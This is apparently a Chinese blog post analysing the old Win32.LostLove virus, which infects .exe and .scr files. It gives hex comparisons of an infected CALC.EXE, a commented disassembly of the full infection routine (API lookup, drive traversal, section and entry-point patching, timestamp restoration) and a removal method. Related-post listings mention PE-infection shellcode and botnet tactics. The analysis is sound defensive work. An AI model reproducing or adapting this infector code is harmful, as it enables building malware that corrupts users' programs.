Win32.LostLove 病毒分析及清除

Android 桌面小组件 AppWidgetProvider 桌面小组件,绝对是小程序中的小程序,说白了就是任何复杂一丁点的操作都适合做成桌面小组件。所以这里采用的演示的例子,就只有一个白色圆角背景,外加一个文本框,显示文字。小组件的教程网上一搜一大堆,所以我这里主要就是介绍一些坑的地方,跟大致处理流程,具体细节还得看其他大神的骚操作。 阅读详情

1、LostLove病毒,该病毒的特征是感染扩展名为
EXE和SCR的Windows的PE文件,文件长度增加1186字节。
病毒发作时会查找C—Z盘所有符合条件的文件,并将其感
染,同时会打开 http://www.wx-packs.com/lx/boy/boyhacker.htm
页面,不会造成其他的破坏。
2、感染数据
以被感染的 C:/WINDOWS/CALC.EXE 为例,正常为94,208字节,
感染后为95,394字节。

感染前:
      00 01 02 03 04 05 06 07-08 09 0A 0B 0C 0D 0E 0F   0123456789ABCDEF
0000  4D 5A 90 00 03 00 00 00-04 00 00 00 FF FF 00 00   MZ..............
0010  B8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00   ........@.......
0020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
0030  00 00 00 00 00 00 00 00-00 00 00 00 C8 00 00 00   ................

00C0                          50 45 00 00 4C 01 03 00           PE..L...
00D0  B4 AF FD 34 00 00 00 00-00 00 00 00 E0 00 0F 03   ...4............
00E0  0B 01 05 0C 00 1C 01 00-00 38 00 00 00 00 00 00   .........8......
00F0  E0 19 01 00 00 10 00 00-00 30 01 00 00 00 00 01   .........0......
0100  00 10 00 00 00 10 00 00-05 00 00 00 05 00 00 00   ................
0110  04 00 00 00 00 00 00 00-00 70 01 00 00 06 00 00   .........p......
0120  90 B7 01 00 02 00 00 00-00 00 04 00 00 10 00 00   ................
0130  00 00 10 00 00 10 00 00-00 00 00 00 10 00 00 00   ................
0140  00 00 00 00 00 00 00 00-20 20 01 00 8C 00 00 00   ........  ......
0150  00 40 01 00 18 26 00 00-00 00 00 00 00 00 00 00   .@...&..........
0160  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
0170  F0 11 00 00 1C 00 00 00-00 00 00 00 00 00 00 00   ................
0180  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
0190  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
01A0  00 10 00 00 E8 01 00 00-00 00 00 00 00 00 00 00   ................
01B0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
01C0  2E 74 65 78 74 00 00 00-0E 1A 01 00 00 10 00 00   .text...........
01D0  00 20 01 00 00 10 00 00-00 00 00 00 00 00 00 00   . ..............
01E0  00 00 00 00 20 00 00 60-2E 64 61 74 61 00 00 00   .... ..`.data...
01F0  84 0F 00 00 00 30 01 00-00 10 00 00 00 30 01 00   .....0.......0..
0200  00 00 00 00 00 00 00 00-00 00 00 00 40 00 00 C0   ............@...
0210  2E 72 73 72 63 00 00 00-18 26 00 00 00 40 01 00   .rsrc....&...@..
0220  00 30 00 00 00 40 01 00-00 00 00 00 00 00 00 00   .0...@..........
0230  00 00 00 00 40 00 00 40-00 00 00 00 00 00 00 00   ....@..@........
0240  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
0250  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................

感染后:
      00 01 02 03 04 05 06 07-08 09 0A 0B 0C 0D 0E 0F   0123456789ABCDEF

00F0  00 70 01 00                                       .p..           

0110                          00 80 01 00                       ....

0120  A2 04 00 00                                       ....

0210                          A2 34 00 00                       .4..

0220  A2 34 00 00                                       .4..

0230              40 00 00 E0                               @...



比较一下:
地址  感染前 感染后
00F0:   E0     00
00F1:   19     70

0119:   70     80

0120:   90     A2
0121:   B7     04
0122:   01     00

0218:   18     A2
0219:   26     34

0220:   00     A2
0221:   30     34

0237:   40     E0

其中00F0-00F3为程序入口地址,感染前为000119E0,感染后为00017000
0118-011B为所有section大小,增加了1000
0120-0123为检验和,改为4A2
0218-021B为最后一个section的VirtualSize,增加了E8A
0220-0223为最后一个section的长度,增加了4A2
0234-0237为最后一个section的属性,该为读、写、执行3种权限
可见,病毒在最后一个section的后面,然后修改了入口地址和相应的section大小等,
最重要的是恢复程序入口地址。
3、病毒代码
将最后1186字节读出,进行反汇编,得如下代码:

;************** 原程序入口 ***********************
010119E0        PUSH    BP
                ....

;************** 病毒入口 *************************

01017000        PUSHAD
                CALL    01017010
                MOV     ESP,FS:[0000]
                JMP     [ESP+28]

01017010        PUSH    WORD PTR FS:[0000]
                MOV     FS:[0000],ESP
                MOV     EAX,DWORD PTR [ESP+28]
                AND     AX,F000
                MOV     ESI,EAX
01017026        SUB     ESI,00001000
                CMP     WORD PTR [ESI],5A4D              ;查找 '4D5A' 即应用程序标志
                JNE     01017026
                MOVZX   EDI,WORD PTR [ESI+3C]
                ADD     EDI,ESI
                CMP     WORD PTR [EDI],4550              ;查找 '4550' 即PE程序标志
                JNE     01017026
                MOV     EBP,DWORD PTR [EDI+78]
                ADD     EBP,ESI
                MOV     EBX,DWORD PTR [EBP+20]
                ADD     EBX,ESI
                XOR     AX,AX
                MOV     EDX,ESI

0101704E        ADD     EBX,00000004
                INC     EAX
                MOV     EDI,DWORD PTR [EBX]
                ADD     EDI,EDX
01017056        CALL    0101706A
0101705B        DB      'GetProcAddress',0
0101706A        POP     ESI
                XOR     ECX,ECX
                MOV     CL,0F
                CLD
                REPZ    CMPSB                            ;查找GetProcAddress的入口地址
                JNE     0101704E
                MOV     ESI,EDX
                MOV     EBX,DWORD PTR [EBP+24]
                ADD     EBX,ESI
                MOVZX   ECX, WORD PTR [EBX+2*EAX]
                MOV     EBX,DWORD PTR [EBP+1C]
                ADD     EBX,ESI
                MOV     EBX,DWORD PTR [EBX+4*ECX]
                ADD     EBX,ESI
                SUB     ESP,00000060
                MOV     EDI,ESP
                CALL    0101709F
01017093        DB      'ExitProcess',0
0101709F        CALL    010170BB
010170A4        DB      'RegisterServiceProcess',0
010170BB        CALL    010170C6
010170C0        DB      'Sleep',0
010170C6        CALL    010170D3
010170CB        DB      '_lclose',0
010170D3        CALL    010170E0
010170D8        DB      '_llseek',0
010170E0        CALL    010170ED
010170E5        DB      '_lwrite',0
010170ED        CALL    010170F9
010170F2        DB      '_lread',0
010170F9        CALL    01017105
010170FE        DB      '_lopen',0
01017105        CALL    01017116
0101710A        DB      'SetFileTime',0
01017116        CALL    0101712E
0101711B        DB      'SetFileAttributesA',0
0101712E        CALL    0101713D
01017133        DB      'FindClose',0
0101713D        CALL    01017150
01017142        DB      'FindNextFileA',0
01017150        CALL    01017164
01017155        DB      'FindFirstFileA',0
01017164        CALL    0101717E
01017169        DB      'SetCurrentDirectoryA',0
0101717E        CALL    01017191
01017183        DB      'GetDriveTypeA',0
01017191        CALL    0101719E
01017196        DB      'WinExec',0
0101719E        CALL    010171B3
010171A3        DB      'GetCommandLineA',0
010171B3        CALL    010171C5
010171B8        DB      'GetLastError',0
010171C5        CALL    010171D7
010171CA        DB      'CreateMutexA',0
010171D7        CALL    010171E9
010171DC        DB      'LoadLibraryA',0

010171E9        MOV     ECX,00000014
010171EE        MOV     EBP,ECX
                PUSH    ESI
                CALL    EBX           ;调用GetProcAddress
                CLD
                STOSD
                MOV     ECX,EBP
                LOOP    010171EE      ;查找所需要使用的函数入口
                MOV     ESI,ESP       ;函数就是上面的20个
                CALL    01017209

01017200        DB      'LostLove',0  ;病毒标志

01017209        PUSH    0
                PUSH    0
                CALL    [ESI+4]       ;CreateMutexA
                CALL    [ESI+8]       ;GetLastError
                OR      EAX,EAX
01017215        JE      0101722B      ;成功,说明病毒未驻留,转病毒程序
01017217        MOV     ESP,FS:[0000]
                POP     WORD PTR FS:[0000]
                POP     EAX
                POPAD
01017225        PUSH    010119E0
0101722A        RET                   ;返回原程序

;---------------------------------------

0101722B        CALL    [ESI+0C]      ;GetCommandLineA
                PUSH    00000001
                PUSH    EAX
                CALL    [ESI+10]      ;WinExec 'Command Line'
                MOV     EAX,DWORD PTR [ESI+48]
                OR      EAX,EAX
                JE      01017241

0101723B        PUSH    00000001
                PUSH    00000000
                CALL    EAX            ;RegisterServiceProcess
01017241        CALL    01017289

01017246        PUSH    00000001
                CALL    01017283

0101724D        DB      'Explorer http://www.wx-packs.com/lx/boy/boyhacker.htm',0

01017283        CALL    [ESI+10]       ;WinExec
                CALL    [ESI+4C]       ;ExitProcess

01017289        MOV     ECX,00000018
                MOV     EDX,005C3A43   ;'C:/'
01017293        PUSH    ECX
                PUSH    EDX
                PUSH    ESP
                CALL    [ESI+14]       ;GetDriveTypeA
                CMP     EAX,2
                JB      010172A9       ;只找固定磁盘
                CMP     EAX,5          ;光盘软盘不感兴趣
010172A1        JE      010172A9
                PUSH    ESP
                CALL    010172AF

010172A9        POP     EDX
                INC     EDX
                POP     ECX
                LOOP    01017293
                RET

010172AF        ENTER   0000,00
                PUSH    EBX
                PUSH    ESI
                PUSH    EDI
                PUSH    [EBP+08]
                CALL    [ESI+18]      ;SetCurrentDirectoryA
                OR      EAX,EAX
                JE      0101731B      ;出错
                SUB     ESP,00001000
                MOV     DWORD PTR [ESP],002A2E2A        ;'*.*'
                MOV     EAX,ESP
                PUSH    ESP
                PUSH    EAX
                CALL    [ESI+1C]      ;FindFirstFileA
                MOV     EBX,EAX
                CMP     EAX,FFFFFFFF
                JE      0101730A
                PUSH    ESP
                PUSH    EBX
                CALL    [ESI+20]      ;FindNextFileA
                OR      EAX,EAX
                JE      01017306
                LEA     DX,DWORD PTR [ESP+2C]
                MOV     EAX,DWORD PTR [ESP]
                AND     EAX,00000010
                JE      010172FE
                MOV     EAX,DWORD PTR[EDX]
                CMP     AL,2E
                JE      010172DB
                PUSH    EDX
                CALL    010172AF
                JMP     010172DB

010172FE        PUSH    ESP
                CALL    01017322
                JMP     010172DB

01017306        PUSH    EBX
                CALL    [ESI+24]      ;FindClose
0101730A        MOV     DWORD PTR [ESP],00002E2E
                PUSH    ESP
                CALL    [ESI+18]      ;SetCurrentDirectoryA
                ADD     ESP,00001000

0101731B        POP     EDI
                POP     ESI
                POP     EBX
                LEAVE
                RET     0004

01017322        ENTER   0000,00
                PUSH    EBX
                PUSH    ESI
                PUSH    EDI
                MOV     EBX,DWORD PTR [EBP+8]
                MOV     ECX,00001000
                LEA     EDI,DWORD PTR [EBX+2C]
                XOR     AL,AL
                CLD
                REPNZ   SCASB         ;得到扩展名
                MOV     EAX,DWORD PTR [EDI-05]
                OR      EAX,20202000
                CMP     EAX,6578652E  ;'.exe'
                JE      01017356
                CMP     EAX,7263732E  ;'.scr'
                JE      01017356
                POP     EDI
                POP     ESI
                POP     EBX
                LEAVE
                RET     0004

01017356        PUSH    EBX
                CALL    01017363
                POP     EDI
                POP     ESI
                POP     EBX
                LEAVE
                RET     0004

;**************** 感染过程在这儿 *******************************
01017363        ENTER   0000,00
                PUSH    EBX
                PUSH    ESI
                PUSH    EDI
                MOV     EDI,DWORD PTR [EBP+08]
                LEA     EBX,DWORD PTR [EDI+2C]
                PUSH    00000000
                PUSH    EBX
                CALL    [ESI+28]     ;SetFileAttributesA
                PUSH    00000002     ;读写方式
                PUSH    EBX
                CALL    [ESI+30]     ;_lopen   打开文件
                CMP     EAX,FFFFFFFF
                JE      0101739D     ;出错
                MOV     EBX,EAX
                PUSH    EBX
                CALL    010173AD
                LEA     EAX,DWORD PTR [EDI+04]
                LEA     ECX,DWORD PTR [EDI+0C]
                LEA     EDX,DWORD PTR [EDI+14]
                PUSH    EDX
                PUSH    ECX
                PUSH    EAX
                PUSH    EBX
                CALL    [ESI+2C]     ;SetFileTime 怪不得文件日期没有变化
                PUSH    EBX
                CALL    [ESI+40]     ;_lclose

0101739D        LEA     BX,DWORD PTR [EDI+2C]
                PUSH    DWORD PTR [EDI]
                PUSH    EBX
                CALL    [ESI+28]    ;SetFileAttributesA
                POP     EDI
                POP     ESI
                POP     EBX
                LEAVE
                RET     0004

010173AD        ENTER   0000,00
                PUSH    EBX
                PUSH    ESI
                PUSH    EDI
                SUB     ESP,00001000
                MOV     EDI,ESP
                PUSH    00001000        ;读4096字节
                PUSH    EDI             ;地址
                PUSH    [EBP+08]        ;文件号
                CALL    [ESI+34]        ;_hread
                MOVZX   EAX,WORD PTR [EDI+3C]
                ADD     EDI,EAX
                CMP     EDI,EDP
                JA      01017495
                CMP     WORD PTR [EDI],4550  ;是否真的是PE文件?
                JNE     01017495
                MOV     EAX,000004A2
                XCNH    DWORD PTR [EDI+58],EAX
                CMP     EAX,000004A2         ;校验和是否为4A2,见下文说明
                JE      01017495
                LEA     EBX,DWORD PTR [EDI+000000F8] ;第一个section header的地址
                MOVZX   ECX,WORD PTR [EDI+6] ;section的数目
                DEC     ECX
010173FF        ADD     EBX,00000028
                LOOP    010173FF             ;找到最后一个section header
                CMP     EBX,EBP
                JA      01017495
                OR      DWORD PTR [EBX+24],E0000000 ;修改其属性

                PUSH    00000002          ;从末尾
                PUSH    00000000          ;
                PUSH    [EBP+8]
                CALL    [ESI+3C]          ;_llseek
                CMP     EAX,FFFFFFFF
                JE      01017495
                PUSH    EAX
                ADD     EAX,000004A2
                SUB     EAX,DWORD PTR [EBX+14]
                MOV     DWORD PTR [EBX+10],EAX   ;最后一个section的大小
                MOV     EDX,DWORD PTR [EBX+8]
                CMP     EAX,EDX
                JB      0101744B
                MOV     DWORD PTR [EBX+8],EAX
                MOV     ECX,DWORD PTR [EDI+38]
                DEC     CX
                ADD     EAX,ECX
                ADD     EDX,ECX
                NOT     ECX
                AND     EAX,ECX
                AND     EDX,ECX
                SUB     EAX,EDX
                ADD     DWORD PTR [EDI+50],EAX   ;SizeOfImage

0101744B        POP     ECX
                SUB     ECX,DWORD PTR [EBX+14]   ;PointerToRawData
                ADD     ECX,DWORD PTR [EBX+0C]   ;VirtualAddress
                XCHG    DWORD PTR [EDI+28],ECX   ;  !!!!!修改入口地址!!!!!
                ADD     ECX,DWORD PTR [EDI+34]   ; 原入口地址加ImageBase放入ECX
                CALL    0101745D

0101745D        POP     EDI
                SUB     EDI,00000237
                MOV     DWORD PTR [EDI],ECX      ;把ECX放到这儿了
                SUB     EDI,00000226
                PUSH    000004A2
                PUSH    EDI
                PUAH    [EBP+08]
                CALL    [ESI+38]                 ;_hwrite
                CMP     EAX,FFFFFFFF
                JE      01017495
                PUSH    00000000                 ;到文件头
                PUSH    00000000
                PUSH    [EBP+08]
                CALL    [ESI+3C]                 ;_llseek
                MOV     EAX,ESP
                PUSH    00001000
                PUSH    EAX
                PUSH    [EBP+08]
                CALL    [ESI+38]                 ;_hwrite

01017495        ADD     ESP,00001000
                POP     EDI
                POP     ESI
                POP     EBX
                LEAVE
                RET     0004
4、清除方法:
从上面程序就可以得到清除的方法,从文件最后倒数027C-0279字节得到的数减去ImageBase
就是原来的入口地址。

 
【ANSYS Workbench仿真】命令流:压力渗透pressure penetration 对与流体接触的part添加边界压力,使流体压力渗透点的接触应力与流体压力相等,以便得到真实的变形结果,就需要用到“pressure penetration”。 但是在ansys中,只能通过ADPL的形式添加,即在workbench中添加命令流的形式。此文主要介绍了**压力渗透的添加要点**和**命令流使用说明**。 阅读详情

相关推荐

ESXI 8.0虚拟机安装OpenWRT软路由详细教程

OpenWrt 是嵌入式的 Linux 路由器固件,OpenWrt在稳定运行的同时提供了强大的扩展能力,用户可以完全的定制属于自己的路由系统,满足不一样的个性化需求,本文讲解如何使用ESXI安装OpenWRT,打造属于自己的软路由。本次安装使用的是版本。默认登录信息:用户:root密码:password下载固件:https://github.com/haiibo/OpenWrt/releases/tag/X86_64【CPU配置】:4核心。

qq_27121281的博客 3919

Win32.LostLove 病毒分析及清除方法

以前曾经分析过一个小病毒,贴出来共享:1、LostLove病毒,该病毒的特征是感染扩展名为EXE和SCR的Windows的PE文件,文件长度增加1186字节。病毒发作时会查找C—Z盘所有符合条件的文件,并将其感染,同时会打开 http://www.wx-packs.com/lx/boy/boyhacker.htm页面,不会造成其他的破坏。2、感染数据以被感染的 C:/WINDOWS/CALC.EX

fanoble的专栏 2558

学习笔记7--激光雷达标定

本系列博客包括6个专栏,分别为:《自动驾驶技术概览》、《自动驾驶汽车平台技术基础》、《自动驾驶汽车定位技术》、《自动驾驶汽车环境感知》、《自动驾驶汽车决策与控制》、《自动驾驶系统设计及应用》,笔者不是自动驾驶领域的专家,只是一个在探索自动驾驶路上的小白,此系列丛书尚未阅读完,也是边阅读边总结边思考,欢迎各位小伙伴,各位大牛们在评论区给出建议,帮笔者这个小白挑出错误,谢谢! 此专栏是关于《自动驾驶汽车环境感知》书籍的笔记。 2.激光雷达标定 2.1 概述 激光雷达内参标定:内部激光发射器坐标系与雷达本

FUXI_Willard 8028

OD常用断点

OD常用断点之我收集,里面有VB绝对万能断点,杀VB程序专用<br /><br />常用断点(OD中)<br /><br />拦截窗口:<br />bp CreateWindow 创建窗口 <br />bp CreateWindowEx(A) 创建窗口 <br />bp ShowWindow 显示窗口 <br />bp UpdateWindow 更新窗口 <br />bp GetWindowText(A) 获取窗口文本 <br /><br />拦截消息框:<br />bp MessageBox(A) 创建消

yzzd的csdn博客 1492

rsyslog交叉编译(armv7、armv8、aarch64、arm32平台通用)

该文档描述了如何交叉编译rsyslog到arm64嵌入式平台。

sinat_33909696的博客 1563

8-阿里云服务器 ECS配置R及Studio Server

步骤概览:(首先要明确自己的系统然后进行安装)

hx2024的博客 1572

PE感染-添加节区

#include #include #include //本程序只适用于载入基址定位的。。。非随机基址 //感染指定目录的PE文件 char ItIs[MAX_PATH] = "D:\\桌面\\感染PE\\感染目录"; //添加了一个新节区 //然后shellcode是添加一个名为a,密码为a的administrator //然后PEB定位kernel32只在我的win7 x64电脑上测试

收集学习过程中对自己有帮助的牛人文章 1407

解码器选型参数,结构原理,工艺与注意问题总结

解码器芯片(Decoder Chip)是电子设备中的一个重要组件,通常用于处理、解释和输出存储在某种编码格式中的数据或信号。本文对解码器的工作原理,结构特点,工艺流程,选型参数及设计注意事项进行总结。

fydar的博客 1172

大漏洞时代下的僵尸网络追踪-笔记

大漏洞时代下的僵尸网络追踪 僵尸网络组建:(三板斧) 1,弱口令 telnet、ssh、物联网设备,网络设备3306,1433,4899,3389,。。。爆破成功后,会切换/tmp目录执行命令wget某个文件,然后赋予执行权限,然后执行。扫描数据库,链接后,使用mof,udf提权完后dumpfile 2,漏洞利用。。热衷于命令执行,使用肉鸡扩大战果。反序列化,MS17010,搭建蜜罐研究。 3,...

weixin_33947521的博客 210

web渗透--9--识别web应用框架

1、概述 Web框架指纹识别是信息收集过程中的一个重要任务。获悉目标框架的类型必然为测试人员带来极大的优势,如果该框架在之前就被测试过。测试人员不仅可以获得未修补版本中存在的漏洞,还可以了解此框架中特有的错误配置以及已知的文件结构。从而使指纹识别过程显得格外重要。

武天旭的博客 5101

AI产品经理面试宝典第94天:RAG知识库构建与预处理策略面试指南

本文深入解析RAG知识库构建的核心挑战与预处理策略,涵盖文档格式转换、问答对生成及自动化测试全流程,为AI产品经理提供面试必备的实战方法论与避坑指南,助你精准应对技术深度类问题。

打造全国最全的AI Agent开发知识领域的博客 314

第 1 讲:内存布局与所有权解剖——栈帧、胖指针与“移动/拷贝”在汇编层面的真实面目

看图最下面的(或者数组切片&[T]它在栈上占16 个字节,由(ptr, len)两个机器字组成。这就是系统编程里常说的胖指针(普通指针只有 8 字节地址,它胖了一倍,多带了一个 8 字节的长度或虚表指针)。痛点追问:C 语言里表示字符串切片只要一个 8 字节的char*,为什么 Rust 非要浪费双倍的栈空间搞成 16 字节?如果少掉len这一环会出什么乱子?回想一下 C 语言是怎么知道一个字符串在哪结束的:靠在内存末尾塞一个字节的\0求长度是 $O(N)$ 的苦力活:在 C 里调strlen(p)

yaoct的博客 151

医疗影像配准与融合: 使用MATLAB对医学影像进行配准和融合,实现不同影像模态之间的对准和结构信息融合等

医疗影像配准与融合是医学影像处理的重要技术,它用于将不同来源、不同时间或不同模态的医学影像进行配准和融合,以获得更加完整、准确的患者解剖信息。基于MATLAB的医疗影像配准与融合可以帮助医生更准确地诊断疾病,制定更有效的治疗方案。医疗影像配准与融合是医学影像处理的关键技术,它对于提高医学影像诊断和治疗的准确性至关重要。MATLAB是一种功能强大的数学和科学计算软件,它可以为医疗影像配准与融合提供强大的工具和支持。

走向CTO的路上... 718

ARM 汇编入门(八):NEON 与 Advanced SIMD 全解析

本文系统讲解ARM NEON/AdvancedSIMD核心机制,涵盖寄存器视图、通道记法、算术运算、掩码选择、置换、查表、饱和处理、归约、点积及结构化访存。通过LD1/ST1等指令实现16倍吞吐提升,适用于图像、音频、DSP与量化推理。重点解析SDOT/UDOT加速INT8推理、FMLA融合乘加、BSL/BIF无分支控制、TBL/TBX查表及尾部处理策略。强调从编译器自动向量化到intrinsics再到手写汇编的工程优化路径,实现性能极致压榨。

m0_58087444的博客 350

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

ARM 汇编入门(十):标量浮点与 VFP 指令全解析

前九篇从架构、ARM32、AArch64 寄存器/寻址、算术位操作、分支、调用约定、内存模型、NEON、SVE/SVE2 一路走到这里。这一篇回到标量浮点子系统:AArch64 用统一的 V0–V31 寄存器文件同时服务标量 FP、NEON 和 SVE;FPCR 控舍入/非规格化/异常陷阱,FPSR 记粘性异常标志;FMADD 单次舍入、FMAXNM 跳过 NaN、FRECPE/FRSQRTE 做快速倒数/平方根估计;最后落到 FP16/BF16 这些机器学习降精度扩展。

m0_58087444的博客 224

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

ARM 汇编调试入门:MOV、LDR 和 STR

掌握,最重要的是看清数据移动的方向。

ccddvvv的博客 210

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

C 语言:编译 → 汇编 → 链接 → 加载运行

C程序从源码到执行经历预处理、编译、汇编、链接四阶段,生成ELF可执行文件,由操作系统加载至内存并由CPU执行。关键点包括:交叉编译生成ARM指令;链接分静态与动态;入口为_start而非main;动态库需-fPIC保证位置无关性;嵌入式环境下可能跳过OS直接运行。

嵌入式开发,ARM Linux开发 468

ARM 汇编入门(十一):异常等级、中断与向量表全解析

本文系统讲解AArch64架构下的系统级编程核心机制:四级特权模型(EL0–EL3)与TrustZone安全世界正交设计,异常分类(同步/异步)、硬件自动异常入口流程、VBAR_EL1向量表布局、ESR_EL1解码、GIC中断路由、SVC/HVC/SMC调用约定、DAIF屏蔽、ERET降级返回等。强调内核、Hypervisor、TF-A及裸机启动链开发必备知识,涵盖寄存器状态保存、异常处理框架与世界切换逻辑,是深入底层系统开发的关键一章。

m0_58087444的博客 173

ARM 汇编入门(十二):MMU、页表与虚拟内存全解析

本文详解AArch64 MMU核心机制:通过TTBR0/1_EL1实现用户/内核地址空间分离,TCR_EL1定义地址空间大小与页粒度,MAIR_EL1配置内存属性,四级页表实现虚拟地址到物理地址翻译。结合TLB维护、Break-Before-Make、AccessFlag惰性提交、KPTI及大页优化,构建安全高效的内存管理基础,是Linux/裸机启动中关键且易出错的环节。

m0_58087444的博客 290

ARM 汇编入门(六):栈、子程序与 AAPCS64 调用约定

AArch64汇编中,函数调用依赖AAPCS64 ABI协议,确保跨语言、跨编译器的二进制兼容。核心规则包括:寄存器分工明确(caller-saved可覆盖,callee-saved需保存)、栈指针SP必须16字节对齐、栈帧大小为16字节倍数;参数通过X0~X7(整数)和V0~V7(浮点/SIMD)传递,超出则压栈;大结构体传指针,小结构体拆入寄存器;非叶子函数须保存LR(X30),否则返回错误;标准prologue/epilogue维护调用链与栈安全。掌握这些规则,方能实现手写汇编与高级语言的无缝协作,避

m0_58087444的博客 290

汇编子程序设计:PROC/ENDP、栈帧与参数传递

本文系统讲解汇编语言中子程序的模块化设计,涵盖PROC/ENDP伪指令、栈帧管理(PUSH BP/MOV BP, SP)、参数传递(寄存器传参与栈传参)及调用约定(C、Pascal、fastcall)。重点解析栈帧布局、局部变量存储、返回地址偏移与栈清理机制,强调调用双方需遵循统一协议,实现可复用、可递归的高效汇编函数。

软件工程师文艺 331

Python+Agent入门笔记(六):记忆和状态,从“一次性问答”到“能用助手”

滑动窗口的缺点很明显:被扔掉的信息就真没了。如果用户第一轮说“我不吃辣”,隔了二十轮让他推荐餐厅,模型已经忘了。定期把旧的对话压缩成一段总结,作为一条特殊的消息插进去。"""把除 system 和最近 keep_recent 条以外的消息,压缩成一条摘要。返回新的 messages 列表。"""# 把旧消息拼成纯文本,让模型总结content = f"[工具结果]把除 system 和最近 keep_recent 条以外的消息,压缩成一条摘要。返回新的 messages 列表。

qq_41241612的博客 113

循环嵌套(多层 for 循环)

表:order(订单表,order_id, user_id)、user(用户表,user_id, user_name)✅ 优化:先查所有订单,拿到所有 user_id 批量 in 查询,内存 join。✅ 优化:先把优惠券转 HashMap,单层循环查找(hash 查找 O (1))SQL 只有 2 次,O (1) 数据库查询,内存遍历 O (n)。需求:查询所有订单列表,同时带出每个订单对应的用户名称。需求:订单列表、优惠券列表,把订单匹配对应的优惠券名称。复杂度:O (M+N),非常快。

weixin_43732943的博客 224

【数据结构-5】单链表的实现

单链表,具体来说是单向的、不带头的、不循环的链表。链表由一个一个节点组成,每个节点分为数据域和指针域,数据域存放数据,指针域存放下一节点的地址。这样,就可以根据指针域中的地址找到下一个节点,节点就串起来了构成了单链表。

a bit 217

C# 数据结构和特殊类型

.NET Core(现称.NET)提供丰富数据结构,优化性能与开发效率。日常开发首选List<T>和Dictionary<TKey,TValue>;高性能场景推荐Span<T>与Memory<T>减少内存分配;并发环境使用ConcurrentDictionary等线程安全集合;避免非泛型集合如ArrayList。

cccloveforever的博客 752

C++ 入门笔记(十七):list 入门 —— 为什么 list 不能 sort?

第17课:用大白话讲清 list 的双向链表结构、哨兵头、push_back 四步、迭代器封装、merge 与 splice 的区别,以及 vector 排序为什么常比 list 快。

wo_jack的博客 260
上一篇: Win2k病毒Demo
下一篇: 黑客反汇编高速入门
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值